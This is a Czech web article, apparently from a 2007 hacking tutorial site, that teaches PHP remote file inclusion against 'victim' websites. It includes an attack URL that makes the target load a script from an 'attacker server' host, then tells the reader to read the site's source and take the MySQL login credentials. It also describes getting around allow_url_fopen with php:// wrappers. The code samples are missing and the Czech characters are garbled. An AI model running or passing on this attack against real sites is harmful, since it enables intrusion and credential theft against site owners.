Author: MDT | Added:17.4.2007 23:10 | Last update: 10.5.2007 00:14 | Readed: 2288x
Chyba se týka PHP funkce include() nebo jeho obdob require(), require_once() a include_once(). Proto se také někdy nazývá PHP Include. Příkaz include dělá to, ?e do kódu jedné stránky, ve které se nachází, vlo?í kód druhé stránky. A to je právě to, co mů?eme při PHP Injection vyu?ít.
Web, který je teoreticky napadnutelný touto chybou poznáme podle toho, ?e URL stránky je nějak takto:
http://www.server_obeti.xx/index.php?page=home.php
Místo page a home.php mů?e být třeba cokoliv jiného, například site=new.php apod. Nejdřív zadáme místo home.php nějaký nesmyslný řetězec (například bububu.php) a dostaneme error. V?ímáme si hlavně části main(xxxxxxx) ve které mů?e být:
1) Warning: main(bububu.php).. To se pak v kódu stránky nachází něco takového:
Pak jen stačí si zalo?it nějaký freehosting, nahrát na něj nějaký soubor například hack.txt a do něj vlo?it kód:
A pak jenom zadáme něco takového:
http://www.server_obeti.xx/index.php?page=http://server_utocnika.xx/hack.txt
Soubor nesmíte pojmenovat s koncovkou php, proto?e jinak by pro?el parserem lokálního (va?eho) webhostingu a kód by se vykonal u? na va?í webovce. Nemusíte také pou?ít vůbec ?ádnou koncovku. Pokud v?echno výjde, měli byste vidět kód souboru index.php. Z něj například mů?ete vyčíst, jak se nazývá soubor s příkazy pro připojení k mysql, který si pak mů?ete nechat zobrazit a vyčíst přihla?ovací údaje. Pokud je ov?em vypnutá funkce allow_url_fopen(), která umo?ňuje includovat soubory z jiných serverů, hodí vám to chybu. Mo?ností jak se vyhnout vypnutému allow_url_fopen() je pou?ít nějaký wrapper, například php://, na který se allow_url_fopen() nevztahuje. Kód mu?e vypadat například takto:
Ale vzhledem k tomu, ?e na vět?ině dne?ních serveru je funkce fsockopen zakázaná, máme taky smůlu. Ov?em i přes tyto problémy máme stále ?anci pou?ít PHP Injection metodami popsanými metodami popsanými v druhé části článku. Dnes se je?tě mrkneme, co se stane kdy? dostaneme hlá?ku:
2) Warning: main(bububu.php.php)... URL stránky pak vypadá nějak takto:
http://www.server_obeti.xx/index.php?page=home
A v kódu je pak něco takového:
To pak nemů?eme pou?ít soubor hack.txt proto?e by se k němu připojilo .php a měli bysme hack.txt.php co? neexistuje. Proto se soubor musí mít koncovku .php a problém je to, ?e se pro?ene parserem a kód se provede na lokálním serveru. Problém ale lze vyře?it naprosto jednodu?e takto:
Tato metoda má stejné mouchy jako ta předchozí ? jestli?e je zakázaná funkce allow_url_fopen() a fsockopen(), máme opět smůlu. V podstatě mů?eme říct, ?e tyto metody jsou nám v dne?ní době téměř k ničemu, jsou velmi známe a vět?inou o?etřené. Ov?em na?těstí (nebo bohu?el?) existují i dal?í metody, ale o tom zase někdy pří?tě.
-------------------------------------------------------------------------------------------------------------------------